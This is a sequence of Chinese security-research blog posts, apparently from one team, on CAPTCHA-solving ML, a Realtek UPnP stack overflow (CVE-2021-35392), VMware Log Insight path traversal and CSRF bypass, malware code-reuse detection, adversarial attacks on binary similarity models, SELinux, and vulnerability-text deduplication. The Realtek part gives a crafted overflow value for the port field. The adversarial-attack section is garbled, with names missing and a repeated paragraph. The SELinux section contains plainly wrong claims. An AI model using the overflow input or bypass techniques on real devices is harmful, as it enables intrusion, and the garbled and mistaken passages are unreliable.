3E-Solver模型及建模流程

图 1 3E-Solver架构和建模流程

整个框架流程如上图所示，首先设计一个端到端的基线模型（AED-Net），利用编码器-解码器与注意力机制去识别验证码图片。最后，利用改进过后的FixMatch算法及少量带标签样本、大量无标签样本一同训练。

AED-Net模型结构

图 2 AED-Net模型结构图

AED-Net模型分为Encoder和Decoder两部分对图片进行识别。其中，Encoder部分采用ResBlock来提取特征，并使用最大池化层来压缩Feature map的大小。论文中ResBlock残差块将特征图映射为1xWxP的特征向量，W表示图片的宽度，P表示卷积核channels数量，可以有效地提取到验证码图片从左到右的信息。

Decoder部分主要由两个GRU构成，attention和prediction，由于特征向量的感受野小于字符的特征区域面积，因此使用GRU模型可以让相邻特征向量交换信息。在解码阶段，一个GRU模块将上一个时间步的输出作为输入，利用特征向量进行训练，构造出key与value向量；另外一个GRU模块接收真实标签值做相应的embedding后构造出query向量，这一步中正是利用了teacher forcing思想，三者进行矩阵乘法与拼接操作，经过全连接层后输出模型预测结果。

对FixMatch的改进与修正

在传统的FixMatch半监督学习中，通常由模型预测弱增强样本后将具有高置信度的预测结果作为伪标签，然后利用强增强的样本与这些伪标签来训练模型。但这一方法在训练高性能验证码识别器的任务中有两个明显的缺点：

• 使用单个模型去预测强增强与弱增强的数据。利用Inception-v3模型进行预训练的任务中发现强增强数据与弱增强数据在模型BN层上的统计值差距过大，因此会间接影响到模型的预测值。

• 当模型产生高置信度预测时，才会保留伪标签。此时的阈值通常设置为较高水平0.95，这会使得一些具有低置信度的样本被浪费。

考虑到以上两个缺点，作者对FixMatch框架做出了以下几点改进：

1. Teacher forcing：利用Teacher forcing技巧进行有监督训练，使模型快速收敛同时可以最大限度地利用有标签数据。

2. 自适应BN层：教师模型仅在训练阶段预测弱增强图片，因为弱增强样本更接近真实样本，BN层的统计数据更适用于测试验证码。

3. 一致性损失：对于置信度较低的教师模型的预测，直接使用教师模型的softmax输出与学生模型的softmax输出值进行比较，计算均方损失函数误差。

损失函数设计

论文设计的损失函数一共包含三个部分，第一部分称为监督损失，通过教师模型指导学生模型对已有标签样本进行训练，利用分类交叉熵作为损失函数，学生模型的参数又通过滑动指数平均反馈给教师模型。第二部分称为无监督损失，当教师模型对弱增强样本的预测概率高于预先设定的阈值时，则将其看作伪标签并与学生模型对强增强样本的预测值做交叉熵损失计算。另外，为了利用到更多难学习的样本特征，如果教师模型的预测概率低于伪标签阈值但高于设定的另外一个阈值时，将其预测值的softmax与学生模型预测值的softmax做均方差损失计算，类似模型蒸馏中小模型去学习大模型预测概率分布的做法。

实验过程

实验数据准备

从Alexa.com排名前50个最受欢迎网站中挑选8个网站，收集它们的验证码作为实验数据集。对于每种验证码方案，共收集了约7200张验证码图像，手工标记2200张，其中的700张左右被用来训练模型，剩余1500张图片被用于测试。另外的5000张未标记的数据被用来作为半监督模型的学习样本。

对比评估

在经过数据集准备与训练后，模型在测试集上的表现如下图所示：

图 3 使用500个标记样本和5000个未标记样本对8种网站验证码的识别结果

模型仅对Google网站这种很复杂验证码的识别效果较低，对其他网站验证码的识别准确率依然保持在很高的水平。

另外，作者与当下主流的验证码识别方法进行了对比，为了保证公平性，分别采用[Tang et al., 2018]提供的dataset A，[Ye et al., 2018]提供的dataset B作为实验测试数据集进行测试。最终的对比结果如下图所示：

（3E-Solver使用相同数量的打标样本，甚至更少）

从上图可以看出，论文提出的3E-Solver方案在其他方案提供的数据集上进行测试后的结果要明显要优于这些方案。由于3E-Solver方案中的attention机制可以通过对输入数据中节点之间的全局依赖关系进行建模来，所以可以学习更多有用的特征，从而改进FixMatch对未标记样本的学习能力。即使对于复杂的Google验证码，3E-Solver在识别准确率方面相对于其他方案有很大的提升。

结论

本论文提出了一种基于Encoder-Decoder跟Attention机制的模型，结合半监督学习框架FixMatch，提出自适应BN层、Teacher forcing与一致性损失这三个改进方案，利用未标记的样本进一步提高识别能力。最后在Alexa.com中排名前50的流行网站中选择8个网站的验证码数据作为测试集进行评估。实验结果表明，3E-Solver明显优于之前的三种先进识别方案，有助于帮助安全专家重新审视基于文本验证码的设计和可用性。

参考文献

Deng, Xianwen, et al. "3E-Solver: An Effortless, Easy-to-Update, and End-to-End Solver with Semi-Supervised Learning for Breaking Text-Based Captchas."Proceedings of the Thirty-First International Joint Conference on Artificial Intelligence. 2022.

论文地址：

https://www.computer.org/csdl/proceedings-article/sp/2023/933600b524/1Js0E2VGRhe

注：本文图片均来源于以上论文

往期回顾

Realtek Sdk CVE-2021-35392漏洞分析

VMware vRealize Log HTTP服务两个漏洞分析

通过机器学习和反编译来检测恶意样本代码重用

阅读原文

跳转微信打开

此次分析Realtek SDK的upnp服务程序，CVE-2021-35392, UPnP 订阅标头参数堆栈缓冲区溢出。

研究人员公开披露了Realtek公司的SDK中存在4个安全漏洞，攻击者可以未经身份验证远程利用这些漏洞，注入任意命令并以最高权限执行任意代码或导致设备崩溃。这些漏洞影响了至少65个不同供应商生产的近200种产品，并作为供应链漏洞，影响了数十万台下游设备。

漏洞概述

Realtek芯片组广泛应用于物联网领域的嵌入式设备中，其中RTL8xxx SoC是一种常见的提供无线功能的芯片组。这些二进制文件通过网络公开服务，由Realtek公司提供。这些二进制文件作为Realtek SDK的一部分进行打包，该SDK由Realtek开发并提供给使用RTL8xxx SoC的供应商和制造商。影响着常见的路由器设备厂商、包括dlink,tp-link,tenda，网件等。

此次分析是Realtek SDK的upnp服务程序，CVE-2021-35392,  UPnP 订阅标头参数堆栈缓冲区溢出。

漏洞分析

UPnP的订阅功能允许设备向控制点注册感兴趣的事件。当事件发生时，设备将通知控制点。订阅功能允许控制点获得实时设备状态的更改，从而允许控制点动态地调整其行为。 UPnP的订阅功能通常与事件通知一起使用，该事件通知用于在设备状态更改时通知控制点。

此次的漏洞成因就是在通过对IOT设备进行订阅时，对参数解析不正确造成缓冲区溢出。

分析upnp处理的请求，当程序收到订阅的请求时，ProcessHttpQuery_upnphttp函数负责进行处理。

在第8行，函数UPnPProcessSUBSCRIBE会解析存储在结构体upnphttp中的HTTP请求，然后将其填充到提供的结构体process_upnp_subscription的字段中。

ParseSUBSCRIBEPacket函数解析HTTP请求行。它首先验证URL是否是有效的事件URL，检查主机标头是否对应于自己的IP和端口，最后通过调用GetIPandPortandCallBack从回调标头值中提取IP和端口号。

接下来函数调用GetIPandPortandCallback函数对请求的port参数进行处理，另外函数还对协议是否合理进行检测，开头为以http://请求以及SUBSCRIBE开头，http:ip:port是否规范等，检验是否为http://ip:port并把port的值通过atoi函数转换成一个整数，这里由于校验不完整可以构造一个port的参数36557AAAAA*100，拷贝的port的缓冲区中造成溢出。

可以构造如下请求进行溢出，

调试结果：

修复方案及防护措施

1、进行软件更新、固件升级：打开路由器的管理界面，通常是在浏览器中输入路由器的IP地址来访问。在管理界面中，寻找固件更新选项，进行固件更新。

2、更改设备默认凭据：IoT 设备都具有默认的用户名和密码。更改这些默认凭据，并使用强密码来保护设备

3、确保网络安全：确保网络的安全性也是非常重要的。可以通过使用网络防火墙、访问控制列表和加密来保护网络。

4、定期更新：定期更新 IoT 设备的软件和固件可以确保设备的安全性和性能。

往期回顾

VMware vRealize Log HTTP服务两个漏洞分析

通过机器学习和反编译来检测恶意样本代码重用

二进制代码相似性检测也能对抗？

阅读原文

跳转微信打开

VLab是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。

漏洞分析

首先分析路径穿越漏洞：

可以看到这里接收到iconUrl参数后,调用了ContentPackUtil.getIconFileData方法处理。

这里没有做任何过滤就有读文件操作,读了文件之后做了一次base64编码。接下来发送http请求测试一下。

http响应包的icon数据base64解码后：

可以看到这里成功复现了路径穿越漏洞。

列一下调用栈：

getIconFileData:401, ContentPackUtil (com.vmware.loginsight.commons.contentpack)exportContentPackFromJson:445, ContentPackActionBean (com.vmware.loginsight.web.actions.misc)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)intercept:456, DispatcherHelper$6 (net.sourceforge.stripes.controller)proceed:158, ExecutionContext (net.sourceforge.stripes.controller)interceptEventHandling:188, SecurityInterceptor (org.stripesstuff.plugin.security)intercept:120, SecurityInterceptor (org.stripesstuff.plugin.security)proceed:155, ExecutionContext (net.sourceforge.stripes.controller)intercept:113, BeforeAfterMethodInterceptor (net.sourceforge.stripes.controller)proceed:155, ExecutionContext (net.sourceforge.stripes.controller)wrap:74, ExecutionContext (net.sourceforge.stripes.controller)invokeEventHandler:454, DispatcherHelper (net.sourceforge.stripes.controller)invokeEventHandler:278, DispatcherServlet (net.sourceforge.stripes.controller)service:160, DispatcherServlet (net.sourceforge.stripes.controller)service:764, HttpServlet (javax.servlet.http)doFilter:453, DynamicMappingFilter$2 (net.sourceforge.stripes.controller)doFilter:260, StripesFilter (net.sourceforge.stripes.controller)doFilter:440, DynamicMappingFilter (net.sourceforge.stripes.controller)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:125, ResponseOverrideFilter (org.displaytag.filter)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:180, RestCsrfPreventionFilter (com.vmware.loginsight.web.stripesext)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:126, HttpHeaderSecurityFilter (org.apache.catalina.filters)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:40, CSPFilter (com.vmware.loginsight.web.stripesext)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:24, UTF8EncodingFilter (com.vmware.loginsight.web.utilities)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:29, ReferrerPolicyFilter (com.vmware.loginsight.web.utilities)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:30, CacheControlFilter (com.vmware.loginsight.web.utilities)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)doFilter:31, UrlRewriteFilter (com.vmware.loginsight.web.stripesext)internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)doFilter:166, ApplicationFilterChain (org.apache.catalina.core)invoke:196, StandardWrapperValve (org.apache.catalina.core)invoke:97, StandardContextValve (org.apache.catalina.core)invoke:661, AuthenticatorBase (org.apache.catalina.authenticator)invoke:661, AuthenticatorBase (org.apache.catalina.authenticator)invoke:135, StandardHostValve (org.apache.catalina.core)invoke:81, ErrorReportValve (org.apache.catalina.valves)invoke:81, ErrorReportValve (org.apache.catalina.valves)invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)invoke:261, SingleSignOn (org.apache.catalina.authenticator)invoke:769, RemoteIpValve (org.apache.catalina.valves)invoke:78, StandardEngineValve (org.apache.catalina.core)service:366, CoyoteAdapter (org.apache.catalina.connector)service:639, Http11Processor (org.apache.coyote.http11)process:65, AbstractProcessorLight (org.apache.coyote)process:847, AbstractProtocol$ConnectionHandler (org.apache.coyote)run:2168, AprEndpoint$SocketWithOptionsProcessor (org.apache.tomcat.util.net)runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run:748, Thread (java.lang)

再来分析一下bypass csrf token漏洞。

在上面的http request请求数据包中可以发现http header头中存在X-Csrf-Token字段,如果去掉该字段http响应包会返回403拒绝访问。

查看校验X-Csrf-Token字段代码。

可以看到代码里使用正则表达式去判断URI字符,这里构造特殊的URI尝试绕过这个校验。

这里发送的http请求数据包没有X-Csrf-Token字段,http响应包也返回了200。该服务权限校验还判断了session数据所以无法绕过权限,只能绕过X-Csrf-Token字段。

修复建议

请参考vmware官网修复文档

https://www.vmware.com/security/advisories/VMSA-2023-0001.html

往期回顾

通过机器学习和反编译来检测恶意样本代码重用

二进制代码相似性检测也能对抗？

Linux系统下安全控制策略SELinux解析

阅读原文

跳转微信打开

VLab Team是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。

笔者推荐一篇通过机器学习和反编译来检测恶意代码重用的论文——SCRUTINIZER: Detecting Code Reuse in Malware via Decompilation and Machine Learning。

背景与相关工作

为了应对这种攻击，安全社区开始探索使用现代机器学习方法来检测APT攻击，但因为APT样本数据很稀少，所以限制了常见的机器学习技术在检测特定类型的恶意软件方面的效率。另外，由于现在的恶意软件大量使用混淆、规避等反分析技术，使得基于控制流图和编码风格这两种静态分析方法在实践中的效果都不大理想。

为了构建有效、准确的代码相似性检测方法来对现实世界的恶意软件进行检测，该论文提出了SCRUTINIZER，一种通过机器学习和反编译来检测恶意样本代码重用的方法。

SCRUTINIZER架构和建模流程

图 1 SCRUTINIZER架构和建模流程

论文中提到的SCRUTINIZER架构和建模流程如上图1所示，整体流程可以分为反编译、Func2vec Encoding、编码聚类三大部分，下文将详细讲解这三个部分所做的主要工作。

反编译

首先，将给定的二进制文件放入Lastline沙盒中执行，在分析的关键时刻生成多个进程Dump。当满足以下条件之一，才被称为分析阶段的关键时刻：

1.当敏感的API被调用时，如调用创建新进程的API——CreateProcess；调用创建新文件的API——CreateFile；调用权限提升的API——AdjustTokenPrivileges

2.执行在原始PE镜像之外

3.原始PE镜像改变时

由于进程Dump中有正在分析的二进制文件的加载代码和内存块的运行时序信息，当沙箱引擎检测到满足上述条件的可疑行为时，就会获取进程Dump。论文中使用Ghidra工具将Dump文件中的内存区域映射到Ghidra的虚拟内存空间，进行后处理——将其反编译成源代码。

Func2vec Encoding

将上一步提取到的源代码中的函数映射到抽象语法树（AST）节点，从而将每个函数表征为数值向量，用它们来表征样本，并作为孪生神经网络的输入。详细的网络结构如下图所示：

图 2 孪生神经网络架构

孪生神经网络（SNN）由两个或多个具有相同架构的子网络构成，它在很多领域的表现都很好，在相似性和度量学习方面效果突出。SNN接收上一步向量化的样本函数作为输入，利用长短期记忆神经网络（LSTM）作为子网络去学习样本函数的时序特征，然后利用曼哈顿距离估计两个向量之间的相似性，于是上图中的SNN其实是MaLSTM。

最后，论文为了发现相似函数，提取了经过SNN编码后每个样本函数向量的n-gram词袋特征，通过局部敏感哈希（LSH）算法对所有的函数进行散列，将相似的函数映射到相同的桶中。但在随后的研究中发现，在反编译中的代码函数存在较大差异的情况下，仅仅依赖LSH算法会造成严重误报。因此，需要结合其他方法来减少误报的情况。

编码聚类

在上一步LSH算法的基础上，论文使用HDBSCAN聚类算法对不同集群中的函数编码进行分组。与常规的聚类算法相比，HDBSCAN不需要参数调整，运行速度快且占用内存少。为了加快聚类过程，论文使用主成分分析（PCA）技术将函数编码的维度从128维减少至8维。通过实验测试，数据维度减少并不会显著影响聚类结果。

至此，论文基于恶意代码与正常样本混合的训练数据，构建了一个大型的函数代码知识库。当有新的未知样本经过SNN时，会被转换为一组函数编码向量，经过去噪处理（恶意样本和良性样本中会共享大量的代码，如：静态链接的标准库函数、全局变量初始化代码等，位于这些函数的聚类族群中则被判定为噪声，需要去除）。然后与函数代码知识库中的向量进行相似度比较，取相似度最大的几个向量作为最终的预测结果。

实验过程

实验数据

图 3 实验数据集

作者采用Python语言编写SCRUTINIZER框架，使用的训练集和测试集互不重叠，其中良性样本和恶意样本共计44015个，共提取了约170w个函数。训练集中的良性样本为31475个，恶意样本为12540个，测试集中的良性样本为2500个，恶意样本为500个。除此之外，良性样本主要由不同Windows版本下的DLL文件组成，恶意样本则包括12253个普通恶意样本与287个属于APT组织的恶意样本。具体数据分布如下图所示：

图 4 普通恶意样本数目分布直方图

图 5 恶意样本中属于APT组织的数目分布直方图

实验评估

根据前文所述，使用Ghidra反编译处理数据集的dump文件后，使用Clang工具将每个函数映射到AST向量，并对AST向量做系统调用和开发者编写区分处理。接着使用MaLSTM模型识别和编码函数对，经过噪声过滤、LSH算法处理共收集了1105000对相似和不相似的函数对。其预测误差的统计数值如下图所示：

图 6 仅使用恶意软件、仅使用良性向量和两者的组合进行5倍交叉验证后的预测误差统计

从图中结果看出，论文提出的方法效果较好。另外，作者在真实环境中随机收集了12个未知样本，人工确定其归属后，放入SCRUTINIZER系统中进行测试，最终的测试结果表明SCRUTINIZER确实可以通过函数级别的相似推理来预测未知样本的代码重用，针对未知APT攻击的效果尤其显著。其结果如下图所示：

图 7 验证模型对未知APT样本的代码重用结果

结论

论文提出了一个用于恶意代码相似性识别和活动归因的自动化系统。该系统反编译恶意和良性应用程序的二进制文件，并使用孪生神经网络对其功能进行编码。然后它将函数编码聚类到不同的组中，并利用聚类期间创建的聚类标签来分析安全公司每天收到的新样本的。作者在真实环境中部署了 SCRUTINIZER，事实证明它在APT活动的函数过滤（即逆向工程）和代码重用分析中都效果显著。并且能够识别出 12 个未发现的样本，最后将其准确地分配给正确的 APT攻击活动。

结论

Mirzaei, O., Vasilenko, R., Kirda, E., Lu, L.,& Kharraz, A. (2021, July). Scrutinizer: Detecting code reuse in malware via decompilation and machine learning. In International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment(pp. 130-150). Springer, Cham.

注：本文图片均来源于以上论文

往期回顾

二进制代码相似性检测也能对抗？

Linux系统下安全控制策略SELinux解析

基于SBERT孪生网络的漏洞描述归一化

阅读原文

跳转微信打开

二进制代码相似性检测（BCSD），即两个二进制可执行代码的相似性检测，有着广泛的用途，如软件成分分析、恶意软件检测和软件剽窃检测等应用场景。

二进制代码相似性检测BCSD

二进制代码相似性检测，首先对二进制可执行程序进行反汇编，得到反汇编的代码，然后根据代码片段粒度(函数)对反汇编的代码进行切割，得到代码片段，根据代码片段计算两个可执行程序的相似度。

传统的分析方法主要是分析代码的特征，可扩展性和检测性能较差。近年来，随着深度学习在各个领域的蓬勃发展，利用深度学习方法获取代码片段的语义信息已成为当下的主流研究方向，当前成熟有效的方案包括，和等。

尽管基于深度学习的BCSD已经取得了很好的效果，对相似的二进制代码有很高的召回率。但由于深度学习本身的原因，使得模型容易受到输入代码微小变化的影响，尤其是对抗代码的存在，使得模型容易被欺骗，从而影响模型对代码的判断，降低相似代码的召回率。为了验证基于深度学习的方法的脆弱性并提高方法的鲁棒性，论文提出了，一种高效的黑盒对抗代码生成算法。

算法概要

不同于图像和文本领域的对抗攻击，对抗代码的搜索空间可以是离散的，目标汇编代码搜索范围局限于特定的架构指令集(如)，且对抗代码必须满足语义约束，即

1.对抗代码功能与原始代码相同；

2.对抗代码的控制流图与原始代码相同。

是一种黑盒攻击下的对抗代码生成算法，通过三个任务：

1.确定可攻击集合；

2．插入对抗指令；

3.纠正对抗指令的语义错误。

生成对抗代码样本，并成功地应用于和基准测试中的三个最先进的基于深度学习的BCSD模型（，，）。在对抗实验中，能通过向程序中添加较少的扰动，生成有效误导目标模型的对抗代码。

算法介绍

算法流程

如图上图示，通过在恶意软件函数的第6条指令之后插入指令，得到了三个对抗样例。

对抗样例1可以欺骗基于深度学习的BCSD方法，但插入的跳转指令改变了控制流图，因此不是一个有效的对抗样例。

对抗样例2通过在指令之后插入指令，虽然可以欺骗基于深度学习的BCSD方法，但改变了函数的功能，因此它也不是一个有效的对抗样例。

对抗样例3由生成，在不改变控制流图的同时，又保证了与恶意函数功能的功能等价。

对于给定有n个指令的函数，有效的对抗样例应满足以下要求:

其中表示两个函数之间的相似度，有效的对抗样例与目标函数之间的相似度高于原函数与目标函数之间的相似度。和代表和的实现功能，两者应该是等价的。返回知识库中与对抗性样例相似度最高的的函数。

作者以恶意软件检测领域为例，介绍了对基于深度学习的BCSD的作用，如下图所示，的输入是一个恶意软件函数，输出是一个对抗样例。将恶意软件函数和对抗样例分别传递给基于深度学习的BCSD模型，该模型将分别生成特征向量和，y，计算与知识库中所有函数的相似度得分，并按得分降序排序。从相似度得分可以看出，恶意软件函数与知识库中具有相同恶意行为的其他恶意函数(用橙色表示)具有较高的相似度，与良性程序(用蓝色表示)的相似度较低。而对抗样例与知识库中的良性程序具有较高的相似性，与恶意函数具有作者以恶意软件检测领域为例，介绍了对基于深度学习的BCSD的作用，如下图所示，的输入是一个恶意软件函数，输出是一个对抗样例。将恶意软件函数和对抗样例分别传递给基于深度学习的BCSD模型，该模型将分别生成特征向量和，y，计算与知识库中所有函数的相似度得分，并按得分降序排序。从相似度得分可以看出，恶意软件函数与知识库中具有相同恶意行为的其他恶意函数(用橙色表示)具有较高的相似度，与良性程序(用蓝色表示)的相似度较低。而对抗样例与知识库中的良性程序具有较高的相似性，与恶意函数具有较低的相似性。较低的相似性。

对抗样例的生成

如图2所示，对抗样例的生成步骤如下：

1.使用将源代码编译成二进制可执行程序。

2.将二进制可执行文件进行反汇编，得到二进制可执行文件的函数片段。

3.通过向指定位置插入指令对函数进行对抗转换，得到对抗指令。

4.将对抗指令写入源代码。

5.使用编译对抗源代码，得到对抗二进制可执行文件。

实验结果

评估指标

论文对基于深度学习的BCSD的SOTA方案执行攻击。算法性能用、、和进行评估:

来表示模型的原始精度。表示模型对对抗样例的识别率。表示为生成对抗样例而引入到原始样例中的指令的百分比。表示模型在对抗指令方面的敏感性。

分析结果

在基准测试上，对3个目标模型（，，）的攻击结果，如下所示：

图 3

将所有模型的准确性从100%降低到9%以下，而插入的指令占比不到13%。

为了验证基于一个模型的对抗样例是否也能欺骗另一个模型，作者收集了被一个目标模型预测错误的和的对抗样例，测量它们与另一个目标模型的预测精度。

图4

根据图4，一个模型上生成的对抗例对其他模型仍然具有攻击效果，基于模型生成的对抗例具有较高的可移植性。

向模型中同时输入原始数据和对抗实例，原始模型是否能获得更强的鲁棒性。作者从中收集了基于的有效对抗样例，并将它们添加到原始训练集中。并用新的对抗样例测试经过重新训练的。

图5

经过重新训练的的和在两个基准上都提高了50%到100%。通过使用生成的对抗样例训练模型，可以增强模型对攻击的鲁棒性。然而，经过重新训练的模型还不足以完全防御的攻击。

参考文献

Jia L, Tang B, Wu C, et al. FuncFooler: A Practical Black-box Attack Against Learning-based Binary Code Similarity Detection Methods[J]. arXiv preprint arXiv:2208.14191, 2022.

论文地址：https://arxiv.org/abs/2208.14191。

注：本文图片均来源于以上论文

往期回顾

Linux系统下安全控制策略SELinux解析

基于SBERT孪生网络的漏洞描述归一化

MiraclePtr UAF漏洞利用缓解技术介绍

阅读原文

跳转微信打开

SELinux是增强版Linux，它是一个Linux内核模块，也是Linux的一个安全子系统，主要以内核模块为支持，用户态程序进行权限策略管理。本文将详细介绍其中的实现思想，并对控制策略细节进行分析。

SELinux（Security-Enhanced linux）是增强版Linux，简称SELinux，它是一个Linux内核模块，也是Linux的一个安全子系统，主要以内核模块为支持，用户态程序进行权限策略管理。

背景

Linux系统下的root权限相当于系统的最高权限，例如，当一个Linux木马程序通过漏洞或钓鱼等方式在用户电脑中执行时，几乎可以完成任何操作，这给Linux系统安全造成了严峻的威胁。

为了降低这一安全风险，Linux系统引入了SELinux安全控制策略。SELinux控制策略的核心思想，相当于给系统设置了2把锁，除了root权限用户之外，还引入了管理员adm用户，而且这两个用户的权限各不相同，甚至存在相互制约，攻击者必须同时获取两把钥匙才能取得权限，这极大降低了暴露的攻击面和被攻击的可能。

SELinux安全策略把权限细化到访问的目录或具体的文件，这意味着每个Linux系统运行的程序只能访问事先被允许的文件，访问其他的文件就会出现访问受限或者报错。如果权限控制策略写的非常仔细，或在产品的二进制中执行RCE shellcode，最终也只能访问一些无关的不重要信息。

SELinux的引入降低了系统被攻击和控制的风险，但同时导致Linux系统在使用上更复杂，因此，这些策略更适用于布置在已经调试好的机器。但SELinux也是历史上最杰出的安全子系统，其中的模块实现细节和安全思想也被多数安全产品借鉴，二次开发出安全产品和引入到其他的类linux系统中。

本文将详细介绍其中的实现思想，并对控制策略细节进行分析。

策略细节分析

1. 策略3种状态

在Linux安全操作系统上，SELinux的安全策略状态有三种：

Enforcing（强制模式）：表示SELinux正在运行，所设置的所有安全策略都被启用，所有与SELinux安全策略相关的服务和程序被策略限制。

Permissive（宽容模式）：表示SELinux运行，所设置的所有安全策略都被启用，所有涉及到的安全策略相关的服务和程序不会被策略限制，程序不会受到限制，但是会有日志记录。

Disabled（关闭）：SELinux安全策略被关闭。

2. 实现细节

SELinux的框架实现的思想是通Linux内核模块的LSM框架进行实现的，LSM框架的思想允许安全模块.ko类型的文件以插件的方式进入内核，以便更严格地控制基于身份的任意访问安全性。LSM框架开发了一套系统的钩子函数接口，可以对Linux系统的文件进行复制、移动及修改，网络行为监控、IP、端口都对应了其中的配置规则，SELinux作为一个LSM的内核模块加载到内核中，在允许之前进行额外的访问确认，安全服务器就是对访问的规则进行策略判断，这些策略通过用户空间的策略管理接口配置到系统中，SELinux策略通过内核的LSM框架为基础去实现，LSM提供内核消息钩子函数去捕获操作系统的各种操作消息，在此基础上，SELinux自己在内核中实现了策略管理器，通过不同的策略与传递过来的消息进行对比，以此判断放行或阻断。

3. 配置文件说明

上述了策略的配置，管理员账户可通过用户态提供策略的接口去配置策略，策略文件是为策略源文件作说明的，policy.conf策略的具体组成包括：类别和许可、类型强制声明（类型、TE规则、角色和用户）、约束、资源标记说明。

其应用于管理编写特定规则下的文件，例如policy.conf，通过策略编译器checkpolicy去编译、生成policy.xx的二进制文件，同时策略编译器在编译规则时会检测语法是否正确，错误的规则语法会判断编译不通过，之后编译文件的策略二进制通过checkmodule命令去载入到内核中，规则开始生效。

具体的规则配置官方手册：

适用场景及优缺点

总结

SELinux安全控制策略是安全体系中端点安全防护中的一环，其主要采用权限分类和认证的策略，使未经过认证的程序无法被执行，防止操作系统被入侵后陌生程序执行恶意程序和木马，Android的权限访问控制策略也借鉴了其中的安全思想。总的来说，SELinux的安全控制策略拥有优秀的安全控制框架，允许自定义适合自身系统的安全策略，增强Linux的系统安全，防御未知攻击。

往期回顾

基于SBERT孪生网络的漏洞描述归一化

MiraclePtr UAF漏洞利用缓解技术介绍

针对U盘文件的盗与防攻略

阅读原文

跳转微信打开

在人工智能高速发展的今天，CV和NLP领域技术具备多种成熟的方案，采用NLP技术来代替繁杂的人工工作已是技术发展的趋势。

漏洞扫描评估产品主要采用基于漏洞知识库的技术进行漏洞信息综合处理。

漏洞知识库通常是由各国信息安全中心及信息安全厂商和组织组建的涵盖漏洞各维度知识的漏洞库，如CNNVD 、NVD等。也因为这个原因，各平台间的漏洞存在描述重复。使用这些漏洞知识库时需要将数据做汇总，进行漏洞归一化，通过多维度知识数据去除重复。对于相同ID编号可直接根据ID去重，但部分平台描述是没有统一编号，这就使归一化工作人工成本陡增。

在人工智能高速发展的今天，CV和NLP领域技术具备多种成熟的方案，采用NLP技术来代替繁杂的人工工作已是技术发展的趋势。

基于Word2Vec+TF-IDF技术的归一化处理

归一化的处理大多基于文本关键词的Word2Vec+TF-IDF技术做相似性比较，这种方法对于字词高相似度的文本具有一定效果。但数据中若存在两个相同的CVE_ID描述信息使用不同语序和同义词的文本描述，则效果较差。Word2Vec+TF-IDF技术虽对小批量数据处理较快，但对于大批量数据去重速度较慢，且在去重工作中很难或是无法识别重复的漏洞描述文本，因此在工业场景难以落地。

基于SBERT孪生网络的漏洞描述归一化

为保证漏洞描述归一化管理的精确度，需要从相似度、主体词、漏洞类型三个维度来判断重复漏洞描述。

首先采用预训练模型Sentence-BERT对漏洞描述文本转化成固定维度向量，基于余弦相似度算法做相似度的对比。

其次，用各个漏洞描述主体词判断漏洞描述之间是否一致，保证主体词一致。

最后，采用HMCN（Hierarchical Multi-Label Classification Networks，层次多标签分类网络）模型预测漏洞文本的漏洞类型，判断每个漏洞类型是否一致，从而得到更高的精度。

实际工作中，为解决项目工程落地响应速度问题，可将文本转换成向量转存到Elasticsearch向量搜索数据库，做文本相似度搜索，响应速度仅需几十毫秒。整体框架图如下：

图表1

数据特征处理

漏洞描述文本通过数据预处理后，将同一个漏洞标签不同漏洞厂商的漏洞描述作为一对正样本，构建负样本需要特殊处理，预训练模型对于字符文本相似性高的很容易召回，因此，负样本的构建要拉大与正例样本间距离，让模型能更好的学习到每个漏洞描述之间的语义关联关系，提高模型召回率。

相似度模型

相似度模型是孪生网络和三胞胎网络（SiameseandTripletNetwork），模型架构图如图表2所示，之所以选择这种网络原因是“孪生网络”结构简单，训练稳定，是很多文本任务不错的baseline；图表2中所示，左右各有一个BERT编码网络，将输入两个文本编码后，经过池化特征提取后得到两个句子向量（维度为一维长度是256的向量）。将输入映射到新的空间得到特征向量u和v，最终通过u、v的拼接组合，经过下游网络来计算文本Sentence A和Sentence B的相似性。由于我们数据集有中英文两种混合因此采用hugging face公开预训练多语言模型（paraphrase-multilingual-MiniLM-L12-v2）来继续fine-tune漏洞描述领域数据。

图表2

模型编码后得到特征u、v后，可以直接使用cosine距离、欧式距离等得到两个文本的相似度。其他应用场景更通用的做法是，基于u和v构建用于匹配两者关系的特征向量，然后用额外的模型学习通用的文本关系映射，特别是场景不一定只是衡量相似度，比如问答、蕴含等复杂任务。

基于模型编码后的向量，存到ES数据库中，基于ES数据库提供的向量相似度搜索算法CosineSimilarity来完成向量搜索召回。ES向量搜索好处是速度快，可扩展数据能力强，更符合我们实际业务场景。

漏洞类型分类模型

基于CWE官网中给出的常用高频漏洞类型，再结合CNNVD官网Top25漏洞类型，得出模型分类类别和层级关系。如图表3所示，常见的文本分类任务中，类目之间通常是正交的，即不存在包含关系。而层次分类则是一类特殊的文本分类任务，HMCN（Hierarchical Multi-Label Classification Networks）网络能达到层次分类的目的。

图表3

